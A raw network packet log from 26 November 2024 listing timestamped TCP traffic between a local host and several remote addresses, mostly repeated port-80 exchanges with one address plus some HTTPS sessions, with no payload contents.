Nov 26, 2024 16:31:44.088104963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.089550018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.089618921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.090459108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.090473890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.090485096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.090542078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.090542078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.092406988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.092418909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.092448950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.092468023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.094299078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.094311953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.094377041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.094403028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.095828056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.095839977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.095889091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.095910072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.097148895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.097162008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.097178936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.097202063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.097265005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.098782063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.098795891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.098835945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.098861933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.100841045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.100853920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.100904942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.100945950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.102452040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.102471113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.102519035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.102555037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.103532076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.103585958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.190028906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.289170027 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:44.289199114 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:44.289274931 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:44.289680004 CET	49870	443	192.168.2.6	23.44.133.31
Nov 26, 2024 16:31:44.289695024 CET	443	49870	23.44.133.31	192.168.2.6
Nov 26, 2024 16:31:44.402257919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.403970003 CET	443	49856	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.404211998 CET	49856	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.404227972 CET	443	49856	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.404282093 CET	443	49855	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.404589891 CET	443	49856	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.405071974 CET	49855	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.405078888 CET	443	49855	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.405464888 CET	443	49855	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.405607939 CET	49856	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.405683994 CET	443	49856	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.405941010 CET	49855	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.406018972 CET	443	49855	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.422571898 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.422894001 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.422911882 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.423976898 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.424052000 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.424685955 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.424748898 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.449934959 CET	49856	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.464814901 CET	49855	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.465296984 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.465317011 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.495595932 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.497760057 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:44.497808933 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:44.497885942 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:44.498498917 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.498517036 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.499665976 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.499728918 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.499910116 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:44.499941111 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:44.500077009 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:44.500277042 CET	49871	443	192.168.2.6	104.126.116.90
Nov 26, 2024 16:31:44.500317097 CET	443	49871	104.126.116.90	192.168.2.6
Nov 26, 2024 16:31:44.500765085 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.500854015 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.500917912 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:44.500931978 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:44.503777027 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:44.503808975 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:44.503899097 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:44.504563093 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:44.504575968 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:44.544668913 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.544688940 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.566082001 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.596832991 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.646051884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.646120071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.646311998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.646364927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.646960974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.646975040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.647011042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.647032976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.648371935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.648433924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.649200916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.649264097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.649686098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.649698019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.649750948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.651026011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.651038885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.651072025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.651104927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.652452946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.652466059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.652496099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.652518988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.653480053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.653492928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.653523922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.653547049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.655003071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.655016899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.655069113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.656353951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.656367064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.656409025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.657700062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.657713890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.657742977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.657763958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.659214020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.659233093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.659245014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.659281015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.659329891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.660531998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.660546064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.660587072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.660607100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.662174940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.662189007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.662338972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.663702011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.663721085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.663765907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.664853096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.664926052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.666152000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.666166067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.666197062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.666220903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.666626930 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.667604923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.667618990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.667666912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.669074059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.669086933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.669167995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.669466972 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.669483900 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.670445919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.670459032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.670521975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.670531988 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.670589924 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.671761036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.671776056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.671787024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.671813011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.671842098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.672681093 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.672780991 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.673141003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.673154116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.673213005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.674623013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.674637079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.674696922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.676023006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.676042080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.676075935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.676106930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.677409887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.677423000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.677436113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.677520037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.678945065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.678970098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.678992987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.679014921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.680315018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.680329084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.680376053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.681716919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.681730986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.681771994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.683114052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.683128119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.683166027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.683178902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.684362888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.684375048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.684427977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.727859020 CET	443	49852	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:44.727936983 CET	443	49852	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:44.728002071 CET	49852	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:44.728332043 CET	49852	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:44.728352070 CET	443	49852	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:44.728363991 CET	49852	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:44.728369951 CET	443	49852	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:44.734127998 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:44.734169960 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:44.734385967 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:44.734431028 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:44.734437943 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:44.771739960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.771955967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.771979094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.771992922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.772593975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.772612095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.772669077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.772712946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.773763895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.773828983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.774385929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.774399042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.774447918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.775633097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.775682926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.776422977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.776434898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.776494026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.777700901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.777714014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.777750969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.779072046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.779084921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.779131889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.779156923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.780483961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.780498028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.780576944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.780576944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.781766891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.781780005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.781827927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.783499002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.783512115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.783572912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.784863949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.784877062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.784888029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.785007954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.786289930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.786303043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.786350965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.787549019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.787569046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.787604094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.787627935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.789156914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.789170027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.789247036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.790551901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.790566921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.790577888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.790606976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.790647030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.791861057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.791874886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.791918993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.791951895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.793239117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.793251038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.793304920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.794965029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.794979095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.795034885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.796439886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.796461105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.796513081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.797776937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.797791004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.797801018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.797846079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.797888994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.799000978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.799015999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.799084902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.800262928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.800276995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.800313950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.800333023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.801455975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.801470041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.801480055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.801537991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.801568985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.856102943 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:44.856132984 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:44.894726992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.894824028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.894923925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.894994020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.895093918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.895142078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.895606995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.895663023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.896203041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.896264076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.897054911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.897664070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.897675991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.897726059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.898232937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.898247004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.898299932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.899087906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.899101973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.899144888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.899970055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.899983883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.900042057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.900888920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.900954008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.901412964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.901426077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.901469946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.902673006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.902693987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.902745962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.902766943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.903909922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.903923035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:44.903970003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.903994083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:44.904901981 CET	80	49809	185.215.113.206	192.168.2.6
